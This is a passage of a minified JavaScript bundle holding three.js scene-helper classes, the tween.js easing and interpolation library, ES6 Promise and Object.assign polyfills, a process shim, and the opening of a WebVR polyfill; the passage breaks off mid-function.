n.Geometry,i.vertices.push(new n.Vector3,new n.Vector3),r=new n.LineBasicMaterial({fog:!1}),r.color.copy(this.light.color).multiplyScalar(this.light.intensity),this.targetLine=new n.Line(i,r),this.add(this.targetLine),this.update()},n.DirectionalLightHelper.prototype=Object.create(n.Object3D.prototype),n.DirectionalLightHelper.prototype.constructor=n.DirectionalLightHelper,n.DirectionalLightHelper.prototype.dispose=function(){this.lightPlane.geometry.dispose(),this.lightPlane.material.dispose(),this.targetLine.geometry.dispose(),this.targetLine.material.dispose()},n.DirectionalLightHelper.prototype.update=function(){var e=new n.Vector3,t=new n.Vector3,i=new n.Vector3;return function(){e.setFromMatrixPosition(this.light.matrixWorld),t.setFromMatrixPosition(this.light.target.matrixWorld),i.subVectors(t,e),this.lightPlane.lookAt(i),this.lightPlane.material.color.copy(this.light.color).multiplyScalar(this.light.intensity),this.targetLine.geometry.vertices[1].copy(i),this.targetLine.geometry.verticesNeedUpdate=!0,this.targetLine.material.color.copy(this.lightPlane.material.color)}}(),n.EdgesHelper=function(e,t,i){var r=void 0!==t?t:16777215;n.LineSegments.call(this,new n.EdgesGeometry(e.geometry,i),new n.LineBasicMaterial({color:r})),this.matrix=e.matrixWorld,this.matrixAutoUpdate=!1},n.EdgesHelper.prototype=Object.create(n.LineSegments.prototype),n.EdgesHelper.prototype.constructor=n.EdgesHelper,n.FaceNormalsHelper=function(e,t,i,r){this.object=e,this.size=void 0!==t?t:1;var o=void 0!==i?i:16776960,a=void 0!==r?r:1,s=0,c=this.object.geometry;c instanceof n.Geometry?s=c.faces.length:console.warn("THREE.FaceNormalsHelper: only THREE.Geometry is supported. Use THREE.VertexNormalsHelper, instead.");var u=new n.BufferGeometry,l=new n.Float32Attribute(2*s*3,3);u.addAttribute("position",l),n.LineSegments.call(this,u,new n.LineBasicMaterial({color:o,linewidth:a})),this.matrixAutoUpdate=!1,this.update()},n.FaceNormalsHelper.prototype=Object.create(n.LineSegments.prototype),n.FaceNormalsHelper.prototype.constructor=n.FaceNormalsHelper,n.FaceNormalsHelper.prototype.update=function(){var e=new n.Vector3,t=new n.Vector3,i=new n.Matrix3;return function(){this.object.updateMatrixWorld(!0),i.getNormalMatrix(this.object.matrixWorld);for(var r=this.object.matrixWorld,n=this.geometry.attributes.position,o=this.object.geometry,a=o.vertices,s=o.faces,c=0,u=0,l=s.length;l>u;u++){var h=s[u],d=h.normal;e.copy(a[h.a]).add(a[h.b]).add(a[h.c]).divideScalar(3).applyMatrix4(r),t.copy(d).applyMatrix3(i).normalize().multiplyScalar(this.size).add(e),n.setXYZ(c,e.x,e.y,e.z),c+=1,n.setXYZ(c,t.x,t.y,t.z),c+=1}return n.needsUpdate=!0,this}}(),n.GridHelper=function(e,t){var i=new n.Geometry,r=new n.LineBasicMaterial({vertexColors:n.VertexColors});this.color1=new n.Color(4473924),this.color2=new n.Color(8947848);for(var o=-e;e>=o;o+=t){i.vertices.push(new n.Vector3(-e,0,o),new n.Vector3(e,0,o),new n.Vector3(o,0,-e),new n.Vector3(o,0,e));var a=0===o?this.color1:this.color2;i.colors.push(a,a,a,a)}n.LineSegments.call(this,i,r)},n.GridHelper.prototype=Object.create(n.LineSegments.prototype),n.GridHelper.prototype.constructor=n.GridHelper,n.GridHelper.prototype.setColors=function(e,t){this.color1.set(e),this.color2.set(t),this.geometry.colorsNeedUpdate=!0},n.HemisphereLightHelper=function(e,t){n.Object3D.call(this),this.light=e,this.light.updateMatrixWorld(),this.matrix=e.matrixWorld,this.matrixAutoUpdate=!1,this.colors=[new n.Color,new n.Color];var i=new n.SphereGeometry(t,4,2);i.rotateX(-Math.PI/2);for(var r=0,o=8;o>r;r++)i.faces[r].color=this.colors[4>r?0:1];var a=new n.MeshBasicMaterial({vertexColors:n.FaceColors,wireframe:!0});this.lightSphere=new n.Mesh(i,a),this.add(this.lightSphere),this.update()},n.HemisphereLightHelper.prototype=Object.create(n.Object3D.prototype),n.HemisphereLightHelper.prototype.constructor=n.HemisphereLightHelper,n.HemisphereLightHelper.prototype.dispose=function(){this.lightSphere.geometry.dispose(),this.lightSphere.material.dispose()},n.HemisphereLightHelper.prototype.update=function(){var e=new n.Vector3;return function(){this.colors[0].copy(this.light.color).multiplyScalar(this.light.intensity),this.colors[1].copy(this.light.groundColor).multiplyScalar(this.light.intensity),this.lightSphere.lookAt(e.setFromMatrixPosition(this.light.matrixWorld).negate()),this.lightSphere.geometry.colorsNeedUpdate=!0}}(),n.PointLightHelper=function(e,t){this.light=e,this.light.updateMatrixWorld();var i=new n.SphereGeometry(t,4,2),r=new n.MeshBasicMaterial({wireframe:!0,fog:!1});r.color.copy(this.light.color).multiplyScalar(this.light.intensity),n.Mesh.call(this,i,r),this.matrix=this.light.matrixWorld,this.matrixAutoUpdate=!1},n.PointLightHelper.prototype=Object.create(n.Mesh.prototype),n.PointLightHelper.prototype.constructor=n.PointLightHelper,n.PointLightHelper.prototype.dispose=function(){this.geometry.dispose(),this.material.dispose()},n.PointLightHelper.prototype.update=function(){this.material.color.copy(this.light.color).multiplyScalar(this.light.intensity)},n.SkeletonHelper=function(e){this.bones=this.getBoneList(e);for(var t=new n.Geometry,i=0;i<this.bones.length;i++){var r=this.bones[i];r.parent instanceof n.Bone&&(t.vertices.push(new n.Vector3),t.vertices.push(new n.Vector3),t.colors.push(new n.Color(0,0,1)),t.colors.push(new n.Color(0,1,0)))}t.dynamic=!0;var o=new n.LineBasicMaterial({vertexColors:n.VertexColors,depthTest:!1,depthWrite:!1,transparent:!0});n.LineSegments.call(this,t,o),this.root=e,this.matrix=e.matrixWorld,this.matrixAutoUpdate=!1,this.update()},n.SkeletonHelper.prototype=Object.create(n.LineSegments.prototype),n.SkeletonHelper.prototype.constructor=n.SkeletonHelper,n.SkeletonHelper.prototype.getBoneList=function(e){var t=[];e instanceof n.Bone&&t.push(e);for(var i=0;i<e.children.length;i++)t.push.apply(t,this.getBoneList(e.children[i]));return t},n.SkeletonHelper.prototype.update=function(){for(var e=this.geometry,t=(new n.Matrix4).getInverse(this.root.matrixWorld),i=new n.Matrix4,r=0,o=0;o<this.bones.length;o++){var a=this.bones[o];a.parent instanceof n.Bone&&(i.multiplyMatrices(t,a.matrixWorld),e.vertices[r].setFromMatrixPosition(i),i.multiplyMatrices(t,a.parent.matrixWorld),e.vertices[r+1].setFromMatrixPosition(i),r+=2)}e.verticesNeedUpdate=!0,e.computeBoundingSphere()},n.SpotLightHelper=function(e){n.Object3D.call(this),this.light=e,this.light.updateMatrixWorld(),this.matrix=e.matrixWorld,this.matrixAutoUpdate=!1;for(var t=new n.BufferGeometry,i=[0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,-1,0,1,0,0,0,0,1,1,0,0,0,0,-1,1],r=0,o=1,a=32;a>r;r++,o++){var s=r/a*Math.PI*2,c=o/a*Math.PI*2;i.push(Math.cos(s),Math.sin(s),1,Math.cos(c),Math.sin(c),1)}t.addAttribute("position",new n.Float32Attribute(i,3));var u=new n.LineBasicMaterial({fog:!1});this.cone=new n.LineSegments(t,u),this.add(this.cone),this.update()},n.SpotLightHelper.prototype=Object.create(n.Object3D.prototype),n.SpotLightHelper.prototype.constructor=n.SpotLightHelper,n.SpotLightHelper.prototype.dispose=function(){this.cone.geometry.dispose(),this.cone.material.dispose()},n.SpotLightHelper.prototype.update=function(){var e=new n.Vector3,t=new n.Vector3;return function(){var i=this.light.distance?this.light.distance:1e3,r=i*Math.tan(this.light.angle);this.cone.scale.set(r,r,i),e.setFromMatrixPosition(this.light.matrixWorld),t.setFromMatrixPosition(this.light.target.matrixWorld),this.cone.lookAt(t.sub(e)),this.cone.material.color.copy(this.light.color).multiplyScalar(this.light.intensity)}}(),n.VertexNormalsHelper=function(e,t,i,r){this.object=e,this.size=void 0!==t?t:1;var o=void 0!==i?i:16711680,a=void 0!==r?r:1,s=0,c=this.object.geometry;c instanceof n.Geometry?s=3*c.faces.length:c instanceof n.BufferGeometry&&(s=c.attributes.normal.count);var u=new n.BufferGeometry,l=new n.Float32Attribute(2*s*3,3);u.addAttribute("position",l),n.LineSegments.call(this,u,new n.LineBasicMaterial({color:o,linewidth:a})),this.matrixAutoUpdate=!1,this.update()},n.VertexNormalsHelper.prototype=Object.create(n.LineSegments.prototype),n.VertexNormalsHelper.prototype.constructor=n.VertexNormalsHelper,n.VertexNormalsHelper.prototype.update=function(){var e=new n.Vector3,t=new n.Vector3,i=new n.Matrix3;return function(){var r=["a","b","c"];this.object.updateMatrixWorld(!0),i.getNormalMatrix(this.object.matrixWorld);var o=this.object.matrixWorld,a=this.geometry.attributes.position,s=this.object.geometry;if(s instanceof n.Geometry)for(var c=s.vertices,u=s.faces,l=0,h=0,d=u.length;d>h;h++)for(var p=u[h],f=0,m=p.vertexNormals.length;m>f;f++){var g=c[p[r[f]]],v=p.vertexNormals[f];e.copy(g).applyMatrix4(o),t.copy(v).applyMatrix3(i).normalize().multiplyScalar(this.size).add(e),a.setXYZ(l,e.x,e.y,e.z),l+=1,a.setXYZ(l,t.x,t.y,t.z),l+=1}else if(s instanceof n.BufferGeometry)for(var y=s.attributes.position,M=s.attributes.normal,l=0,f=0,m=y.count;m>f;f++)e.set(y.getX(f),y.getY(f),y.getZ(f)).applyMatrix4(o),t.set(M.getX(f),M.getY(f),M.getZ(f)),t.applyMatrix3(i).normalize().multiplyScalar(this.size).add(e),a.setXYZ(l,e.x,e.y,e.z),l+=1,a.setXYZ(l,t.x,t.y,t.z),l+=1;return a.needsUpdate=!0,this}}(),n.WireframeHelper=function(e,t){var i=void 0!==t?t:16777215;n.LineSegments.call(this,new n.WireframeGeometry(e.geometry),new n.LineBasicMaterial({color:i})),this.matrix=e.matrixWorld,this.matrixAutoUpdate=!1},n.WireframeHelper.prototype=Object.create(n.LineSegments.prototype),n.WireframeHelper.prototype.constructor=n.WireframeHelper,n.ImmediateRenderObject=function(e){n.Object3D.call(this),this.material=e,this.render=function(){}},n.ImmediateRenderObject.prototype=Object.create(n.Object3D.prototype),n.ImmediateRenderObject.prototype.constructor=n.ImmediateRenderObject,n.MorphBlendMesh=function(e,t){n.Mesh.call(this,e,t),this.animationsMap={},this.animationsList=[];var i=this.geometry.morphTargets.length,r="__default",o=0,a=i-1,s=i/1;this.createAnimation(r,o,a,s),this.setAnimationWeight(r,1)},n.MorphBlendMesh.prototype=Object.create(n.Mesh.prototype),n.MorphBlendMesh.prototype.constructor=n.MorphBlendMesh,n.MorphBlendMesh.prototype.createAnimation=function(e,t,i,r){var n={start:t,end:i,length:i-t+1,fps:r,duration:(i-t)/r,lastFrame:0,currentFrame:0,active:!1,time:0,direction:1,weight:1,directionBackwards:!1,mirroredLoop:!1};this.animationsMap[e]=n,this.animationsList.push(n)},n.MorphBlendMesh.prototype.autoCreateAnimations=function(e){for(var t,i=/([a-z]+)_?(\d+)/i,r={},n=this.geometry,o=0,a=n.morphTargets.length;a>o;o++){var s=n.morphTargets[o],c=s.name.match(i);if(c&&c.length>1){var u=c[1];r[u]||(r[u]={start:1/0,end:-(1/0)});var l=r[u];o<l.start&&(l.start=o),o>l.end&&(l.end=o),t||(t=u)}}for(var u in r){var l=r[u];this.createAnimation(u,l.start,l.end,e)}this.firstAnimation=t},n.MorphBlendMesh.prototype.setAnimationDirectionForward=function(e){var t=this.animationsMap[e];t&&(t.direction=1,t.directionBackwards=!1)},n.MorphBlendMesh.prototype.setAnimationDirectionBackward=function(e){var t=this.animationsMap[e];t&&(t.direction=-1,t.directionBackwards=!0)},n.MorphBlendMesh.prototype.setAnimationFPS=function(e,t){var i=this.animationsMap[e];i&&(i.fps=t,i.duration=(i.end-i.start)/i.fps)},n.MorphBlendMesh.prototype.setAnimationDuration=function(e,t){var i=this.animationsMap[e];i&&(i.duration=t,i.fps=(i.end-i.start)/i.duration)},n.MorphBlendMesh.prototype.setAnimationWeight=function(e,t){var i=this.animationsMap[e];i&&(i.weight=t)},n.MorphBlendMesh.prototype.setAnimationTime=function(e,t){var i=this.animationsMap[e];i&&(i.time=t)},n.MorphBlendMesh.prototype.getAnimationTime=function(e){var t=0,i=this.animationsMap[e];return i&&(t=i.time),t},n.MorphBlendMesh.prototype.getAnimationDuration=function(e){var t=-1,i=this.animationsMap[e];return i&&(t=i.duration),t},n.MorphBlendMesh.prototype.playAnimation=function(e){var t=this.animationsMap[e];t?(t.time=0,t.active=!0):console.warn("THREE.MorphBlendMesh: animation["+e+"] undefined in .playAnimation()")},n.MorphBlendMesh.prototype.stopAnimation=function(e){var t=this.animationsMap[e];t&&(t.active=!1)},n.MorphBlendMesh.prototype.update=function(e){for(var t=0,i=this.animationsList.length;i>t;t++){var r=this.animationsList[t];if(r.active){var o=r.duration/r.length;r.time+=r.direction*e,r.mirroredLoop?(r.time>r.duration||r.time<0)&&(r.direction*=-1,r.time>r.duration&&(r.time=r.duration,r.directionBackwards=!0),r.time<0&&(r.time=0,r.directionBackwards=!1)):(r.time=r.time%r.duration,r.time<0&&(r.time+=r.duration));var a=r.start+n.Math.clamp(Math.floor(r.time/o),0,r.length-1),s=r.weight;a!==r.currentFrame&&(this.morphTargetInfluences[r.lastFrame]=0,this.morphTargetInfluences[r.currentFrame]=1*s,this.morphTargetInfluences[a]=0,r.lastFrame=r.currentFrame,r.currentFrame=a);var c=r.time%o/o;r.directionBackwards&&(c=1-c),r.currentFrame!==r.lastFrame?(this.morphTargetInfluences[r.currentFrame]=c*s,this.morphTargetInfluences[r.lastFrame]=(1-c)*s):this.morphTargetInfluences[r.currentFrame]=s}}},"undefined"!=typeof r?("undefined"!=typeof i&&i.exports&&(r=i.exports=n),r.THREE=n):this.THREE=n},{}],18:[function(e,i,r){!function(e){if("performance"in e==!1&&(e.performance={}),Date.now=Date.now||function(){return(new Date).getTime()},"now"in e.performance==!1){var t=e.performance.timing&&e.performance.timing.navigationStart?performance.timing.navigationStart:Date.now();e.performance.now=function(){return Date.now()-t}}}(this);var n=n||function(){var e=[];return{REVISION:"14",getAll:function(){return e},removeAll:function(){e=[]},add:function(t){e.push(t)},remove:function(t){var i=e.indexOf(t);-1!==i&&e.splice(i,1)},update:function(t){if(0===e.length)return!1;var i=0;for(t=void 0!==t?t:window.performance.now();i<e.length;)e[i].update(t)?i++:e.splice(i,1);return!0}}}();n.Tween=function(e){var t=e,i={},r={},o={},a=1e3,s=0,c=!1,u=!1,l=!1,h=0,d=null,p=n.Easing.Linear.None,f=n.Interpolation.Linear,m=[],g=null,v=!1,y=null,M=null,A=null;
for(var x in e)i[x]=parseFloat(e[x],10);this.to=function(e,t){return void 0!==t&&(a=t),r=e,this},this.start=function(e){n.add(this),u=!0,v=!1,d=void 0!==e?e:window.performance.now(),d+=h;for(var a in r){if(r[a]instanceof Array){if(0===r[a].length)continue;r[a]=[t[a]].concat(r[a])}i[a]=t[a],i[a]instanceof Array==!1&&(i[a]*=1),o[a]=i[a]||0}return this},this.stop=function(){return u?(n.remove(this),u=!1,null!==A&&A.call(t),this.stopChainedTweens(),this):this},this.stopChainedTweens=function(){for(var e=0,t=m.length;t>e;e++)m[e].stop()},this.delay=function(e){return h=e,this},this.repeat=function(e){return s=e,this},this.yoyo=function(e){return c=e,this},this.easing=function(e){return p=e,this},this.interpolation=function(e){return f=e,this},this.chain=function(){return m=arguments,this},this.onStart=function(e){return g=e,this},this.onUpdate=function(e){return y=e,this},this.onComplete=function(e){return M=e,this},this.onStop=function(e){return A=e,this},this.update=function(e){var n;if(d>e)return!0;v===!1&&(null!==g&&g.call(t),v=!0);var u=(e-d)/a;u=u>1?1:u;var A=p(u);for(n in r){var x=i[n]||0,w=r[n];w instanceof Array?t[n]=f(w,A):("string"==typeof w&&(w=x+parseFloat(w,10)),"number"==typeof w&&(t[n]=x+(w-x)*A))}if(null!==y&&y.call(t,A),1==u){if(s>0){isFinite(s)&&s--;for(n in o){if("string"==typeof r[n]&&(o[n]=o[n]+parseFloat(r[n],10)),c){var E=o[n];o[n]=r[n],r[n]=E}i[n]=o[n]}return c&&(l=!l),d=e+h,!0}null!==M&&M.call(t);for(var b=0,T=m.length;T>b;b++)m[b].start(e);return!1}return!0}},n.Easing={Linear:{None:function(e){return e}},Quadratic:{In:function(e){return e*e},Out:function(e){return e*(2-e)},InOut:function(e){return(e*=2)<1?.5*e*e:-.5*(--e*(e-2)-1)}},Cubic:{In:function(e){return e*e*e},Out:function(e){return--e*e*e+1},InOut:function(e){return(e*=2)<1?.5*e*e*e:.5*((e-=2)*e*e+2)}},Quartic:{In:function(e){return e*e*e*e},Out:function(e){return 1- --e*e*e*e},InOut:function(e){return(e*=2)<1?.5*e*e*e*e:-.5*((e-=2)*e*e*e-2)}},Quintic:{In:function(e){return e*e*e*e*e},Out:function(e){return--e*e*e*e*e+1},InOut:function(e){return(e*=2)<1?.5*e*e*e*e*e:.5*((e-=2)*e*e*e*e+2)}},Sinusoidal:{In:function(e){return 1-Math.cos(e*Math.PI/2)},Out:function(e){return Math.sin(e*Math.PI/2)},InOut:function(e){return.5*(1-Math.cos(Math.PI*e))}},Exponential:{In:function(e){return 0===e?0:Math.pow(1024,e-1)},Out:function(e){return 1===e?1:1-Math.pow(2,-10*e)},InOut:function(e){return 0===e?0:1===e?1:(e*=2)<1?.5*Math.pow(1024,e-1):.5*(-Math.pow(2,-10*(e-1))+2)}},Circular:{In:function(e){return 1-Math.sqrt(1-e*e)},Out:function(e){return Math.sqrt(1- --e*e)},InOut:function(e){return(e*=2)<1?-.5*(Math.sqrt(1-e*e)-1):.5*(Math.sqrt(1-(e-=2)*e)+1)}},Elastic:{In:function(e){var t,i=.1,r=.4;return 0===e?0:1===e?1:(!i||1>i?(i=1,t=r/4):t=r*Math.asin(1/i)/(2*Math.PI),-(i*Math.pow(2,10*(e-=1))*Math.sin(2*(e-t)*Math.PI/r)))},Out:function(e){var t,i=.1,r=.4;return 0===e?0:1===e?1:(!i||1>i?(i=1,t=r/4):t=r*Math.asin(1/i)/(2*Math.PI),i*Math.pow(2,-10*e)*Math.sin(2*(e-t)*Math.PI/r)+1)},InOut:function(e){var t,i=.1,r=.4;return 0===e?0:1===e?1:(!i||1>i?(i=1,t=r/4):t=r*Math.asin(1/i)/(2*Math.PI),(e*=2)<1?-.5*i*Math.pow(2,10*(e-=1))*Math.sin(2*(e-t)*Math.PI/r):i*Math.pow(2,-10*(e-=1))*Math.sin(2*(e-t)*Math.PI/r)*.5+1)}},Back:{In:function(e){var t=1.70158;return e*e*((t+1)*e-t)},Out:function(e){var t=1.70158;return--e*e*((t+1)*e+t)+1},InOut:function(e){var t=2.5949095;return(e*=2)<1?.5*e*e*((t+1)*e-t):.5*((e-=2)*e*((t+1)*e+t)+2)}},Bounce:{In:function(e){return 1-n.Easing.Bounce.Out(1-e)},Out:function(e){return 1/2.75>e?7.5625*e*e:2/2.75>e?7.5625*(e-=1.5/2.75)*e+.75:2.5/2.75>e?7.5625*(e-=2.25/2.75)*e+.9375:7.5625*(e-=2.625/2.75)*e+.984375},InOut:function(e){return.5>e?.5*n.Easing.Bounce.In(2*e):.5*n.Easing.Bounce.Out(2*e-1)+.5}}},n.Interpolation={Linear:function(e,t){var i=e.length-1,r=i*t,o=Math.floor(r),a=n.Interpolation.Utils.Linear;return 0>t?a(e[0],e[1],r):t>1?a(e[i],e[i-1],i-r):a(e[o],e[o+1>i?i:o+1],r-o)},Bezier:function(e,t){var i,r=0,o=e.length-1,a=Math.pow,s=n.Interpolation.Utils.Bernstein;for(i=0;o>=i;i++)r+=a(1-t,o-i)*a(t,i)*e[i]*s(o,i);return r},CatmullRom:function(e,t){var i=e.length-1,r=i*t,o=Math.floor(r),a=n.Interpolation.Utils.CatmullRom;return e[0]===e[i]?(0>t&&(o=Math.floor(r=i*(1+t))),a(e[(o-1+i)%i],e[o],e[(o+1)%i],e[(o+2)%i],r-o)):0>t?e[0]-(a(e[0],e[0],e[1],e[1],-r)-e[0]):t>1?e[i]-(a(e[i],e[i],e[i-1],e[i-1],r-i)-e[i]):a(e[o?o-1:0],e[o],e[o+1>i?i:o+1],e[o+2>i?i:o+2],r-o)},Utils:{Linear:function(e,t,i){return(t-e)*i+e},Bernstein:function(e,t){var i=n.Interpolation.Utils.Factorial;return i(e)/i(t)/i(e-t)},Factorial:function(){var e=[1];return function(t){var i,r=1;if(e[t])return e[t];for(i=t;i>1;i--)r*=i;return e[t]=r}}(),CatmullRom:function(e,t,i,r,n){var o=.5*(i-e),a=.5*(r-t),s=n*n,c=n*s;return(2*t-2*i+o+a)*c+(-3*t+3*i-2*o-a)*s+o*n+t}}},function(e){"function"==typeof t&&t.amd?t([],function(){return n}):"object"==typeof r?i.exports=n:e.TWEEN=n}(this)},{}],19:[function(e){(function(i){!function r(t,i,n){function o(s,c){if(!i[s]){if(!t[s]){var u="function"==typeof e&&e;if(!c&&u)return u(s,!0);if(a)return a(s,!0);var l=new Error("Cannot find module '"+s+"'");throw l.code="MODULE_NOT_FOUND",l}var h=i[s]={exports:{}};t[s][0].call(h.exports,function(e){var i=t[s][1][e];return o(i?i:e)},h,h.exports,r,t,i,n)}return i[s].exports}for(var a="function"==typeof e&&e,s=0;s<n.length;s++)o(n[s]);return o}({1:[function(e,r){(function(i,n){(function(){"use strict";function o(e){return"function"==typeof e||"object"==typeof e&&null!==e}function a(e){return"function"==typeof e}function s(e){H=e}function c(e){Z=e}function u(){return function(){i.nextTick(f)}}function l(){return function(){Y(f)}}function h(){var e=0,t=new $(f),i=document.createTextNode("");return t.observe(i,{characterData:!0}),function(){i.data=e=++e%2}}function d(){var e=new MessageChannel;return e.port1.onmessage=f,function(){e.port2.postMessage(0)}}function p(){return function(){setTimeout(f,1)}}function f(){for(var e=0;q>e;e+=2){var t=ie[e],i=ie[e+1];t(i),ie[e]=void 0,ie[e+1]=void 0}q=0}function m(){try{var t=e,i=t("vertx");return Y=i.runOnLoop||i.runOnContext,l()}catch(r){return p()}}function g(e,t){var i=this,r=i._state;if(r===ae&&!e||r===se&&!t)return this;var n=new this.constructor(y),o=i._result;if(r){var a=arguments[r-1];Z(function(){O(r,n,a,o)})}else C(i,n,e,t);return n}function v(e){var t=this;if(e&&"object"==typeof e&&e.constructor===t)return e;var i=new t(y);return L(i,e),i}function y(){}function M(){return new TypeError("You cannot resolve a promise with itself")}function A(){return new TypeError("A promises callback cannot return that same promise.")}function x(e){try{return e.then}catch(t){return ce.error=t,ce}}function w(e,t,i,r){try{e.call(t,i,r)}catch(n){return n}}function E(e,t,i){Z(function(e){var r=!1,n=w(i,t,function(i){r||(r=!0,t!==i?L(e,i):N(e,i))},function(t){r||(r=!0,S(e,t))},"Settle: "+(e._label||" unknown promise"));!r&&n&&(r=!0,S(e,n))},e)}function b(e,t){t._state===ae?N(e,t._result):t._state===se?S(e,t._result):C(t,void 0,function(t){L(e,t)},function(t){S(e,t)})}function T(e,t,i){t.constructor===e.constructor&&i===re&&constructor.resolve===ne?b(e,t):i===ce?S(e,ce.error):void 0===i?N(e,t):a(i)?E(e,t,i):N(e,t)}function L(e,t){e===t?S(e,M()):o(t)?T(e,t,x(t)):N(e,t)}function D(e){e._onerror&&e._onerror(e._result),I(e)}function N(e,t){e._state===oe&&(e._result=t,e._state=ae,0!==e._subscribers.length&&Z(I,e))}function S(e,t){e._state===oe&&(e._state=se,e._result=t,Z(D,e))}function C(e,t,i,r){var n=e._subscribers,o=n.length;e._onerror=null,n[o]=t,n[o+ae]=i,n[o+se]=r,0===o&&e._state&&Z(I,e)}function I(e){var t=e._subscribers,i=e._state;if(0!==t.length){for(var r,n,o=e._result,a=0;a<t.length;a+=3)r=t[a],n=t[a+i],r?O(i,r,n,o):n(o);e._subscribers.length=0}}function j(){this.error=null}function _(e,t){try{return e(t)}catch(i){return ue.error=i,ue}}function O(e,t,i,r){var n,o,s,c,u=a(i);if(u){if(n=_(i,r),n===ue?(c=!0,o=n.error,n=null):s=!0,t===n)return void S(t,A())}else n=r,s=!0;t._state!==oe||(u&&s?L(t,n):c?S(t,o):e===ae?N(t,n):e===se&&S(t,n))}function z(e,t){try{t(function(t){L(e,t)},function(t){S(e,t)})}catch(i){S(e,i)}}function k(e){return new me(this,e).promise}function R(e){function t(e){L(n,e)}function i(e){S(n,e)}var r=this,n=new r(y);if(!X(e))return S(n,new TypeError("You must pass an array to race.")),n;for(var o=e.length,a=0;n._state===oe&&o>a;a++)C(r.resolve(e[a]),void 0,t,i);return n}function B(e){var t=this,i=new t(y);return S(i,e),i}function U(){throw new TypeError("You must pass a resolver function as the first argument to the promise constructor")}function P(){throw new TypeError("Failed to construct 'Promise': Please use the 'new' operator, this object constructor cannot be called as a function.")}function F(e){this._id=pe++,this._state=void 0,this._result=void 0,this._subscribers=[],y!==e&&("function"!=typeof e&&U(),this instanceof F?z(this,e):P())}function G(e,t){this._instanceConstructor=e,this.promise=new e(y),Array.isArray(t)?(this._input=t,this.length=t.length,this._remaining=t.length,this._result=new Array(this.length),0===this.length?N(this.promise,this._result):(this.length=this.length||0,this._enumerate(),0===this._remaining&&N(this.promise,this._result))):S(this.promise,this._validationError())}function V(){var e;if("undefined"!=typeof n)e=n;else if("undefined"!=typeof self)e=self;else try{e=Function("return this")()}catch(t){throw new Error("polyfill failed because global object is unavailable in this environment")}var i=e.Promise;(!i||"[object Promise]"!==Object.prototype.toString.call(i.resolve())||i.cast)&&(e.Promise=fe)}var Q;Q=Array.isArray?Array.isArray:function(e){return"[object Array]"===Object.prototype.toString.call(e)};var Y,H,W,X=Q,q=0,Z=function(e,t){ie[q]=e,ie[q+1]=t,q+=2,2===q&&(H?H(f):W())},K="undefined"!=typeof window?window:void 0,J=K||{},$=J.MutationObserver||J.WebKitMutationObserver,ee="undefined"!=typeof i&&"[object process]"==={}.toString.call(i),te="undefined"!=typeof Uint8ClampedArray&&"undefined"!=typeof importScripts&&"undefined"!=typeof MessageChannel,ie=new Array(1e3);W=ee?u():$?h():te?d():void 0===K&&"function"==typeof e?m():p();var re=g,ne=v,oe=void 0,ae=1,se=2,ce=new j,ue=new j,le=k,he=R,de=B,pe=0,fe=F;F.all=le,F.race=he,F.resolve=ne,F.reject=de,F._setScheduler=s,F._setAsap=c,F._asap=Z,F.prototype={constructor:F,then:re,"catch":function(e){return this.then(null,e)}};var me=G;G.prototype._validationError=function(){return new Error("Array Methods must be provided an Array")},G.prototype._enumerate=function(){for(var e=this.length,t=this._input,i=0;this._state===oe&&e>i;i++)this._eachEntry(t[i],i)},G.prototype._eachEntry=function(e,t){var i=this._instanceConstructor,r=i.resolve;if(r===ne){var n=x(e);if(n===re&&e._state!==oe)this._settledAt(e._state,t,e._result);else if("function"!=typeof n)this._remaining--,this._result[t]=e;else if(i===fe){var o=new i(y);T(o,e,n),this._willSettleAt(o,t)}else this._willSettleAt(new i(function(t){t(e)}),t)}else this._willSettleAt(r(e),t)},G.prototype._settledAt=function(e,t,i){var r=this.promise;r._state===oe&&(this._remaining--,e===se?S(r,i):this._result[t]=i),0===this._remaining&&N(r,this._result)},G.prototype._willSettleAt=function(e,t){var i=this;C(e,void 0,function(e){i._settledAt(ae,t,e)},function(e){i._settledAt(se,t,e)})};var ge=V,ve={Promise:fe,polyfill:ge};"function"==typeof t&&t.amd?t(function(){return ve}):"undefined"!=typeof r&&r.exports?r.exports=ve:"undefined"!=typeof this&&(this.ES6Promise=ve),ge()}).call(this)}).call(this,e("_process"),"undefined"!=typeof i?i:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{_process:3}],2:[function(e,t){"use strict";function i(e){if(null===e||void 0===e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}var r=Object.prototype.hasOwnProperty,n=Object.prototype.propertyIsEnumerable;t.exports=Object.assign||function(e){for(var t,o,a=i(e),s=1;s<arguments.length;s++){t=Object(arguments[s]);for(var c in t)r.call(t,c)&&(a[c]=t[c]);if(Object.getOwnPropertySymbols){o=Object.getOwnPropertySymbols(t);for(var u=0;u<o.length;u++)n.call(t,o[u])&&(a[o[u]]=t[o[u]])}}return a}},{}],3:[function(e,t){function i(){u=!1,a.length?c=a.concat(c):l=-1,c.length&&r()}function r(){if(!u){var e=setTimeout(i);u=!0;for(var t=c.length;t;){for(a=c,c=[];++l<t;)a&&a[l].run();l=-1,t=c.length}a=null,u=!1,clearTimeout(e)}}function n(e,t){this.fun=e,this.array=t}function o(){}var a,s=t.exports={},c=[],u=!1,l=-1;s.nextTick=function(e){var t=new Array(arguments.length-1);if(arguments.length>1)for(var i=1;i<arguments.length;i++)t[i-1]=arguments[i];c.push(new n(e,t)),1!==c.length||u||setTimeout(r,0)},n.prototype.run=function(){this.fun.apply(null,this.array)},s.title="browser",s.browser=!0,s.env={},s.argv=[],s.version="",s.versions={},s.on=o,s.addListener=o,s.once=o,s.off=o,s.removeListener=o,s.removeAllListeners=o,s.emit=o,s.binding=function(){throw new Error("process.binding is not supported")},s.cwd=function(){return"/"},s.chdir=function(){throw new Error("process.chdir is not supported")},s.umask=function(){return 0}},{}],4:[function(e,t){function i(){this.isPolyfilled=!0,this.displayId=c++,this.displayName="webvr-polyfill displayName",this.isConnected=!0,this.isPresenting=!1,this.capabilities={hasPosition:!1,hasOrientation:!1,hasExternalDisplay:!1,canPresent:!1,maxLayers:1},this.stageParameters=null,this.waitingForPresent_=!1,this.layer_=null,this.fullscreenElement_=null,this.fullscreenWrapper_=null,this.fullscreenElementCachedStyle_=null,this.fullscreenEventTarget_=null,this.fullscreenChangeHandler_=null,this.fullscreenErrorHandler_=null,this.wakelock_=new s}function r(){this.isPolyfilled=!0,this.hardwareUnitId="webvr-polyfill hardwareUnitId",this.deviceId="webvr-polyfill deviceId",this.deviceName="webvr-polyfill deviceName"}function n(){}function o(){}var a=e("./util.js"),s=e("./wakelock.js"),c=1e3,u=!1;i.prototype.getPose=function(){return 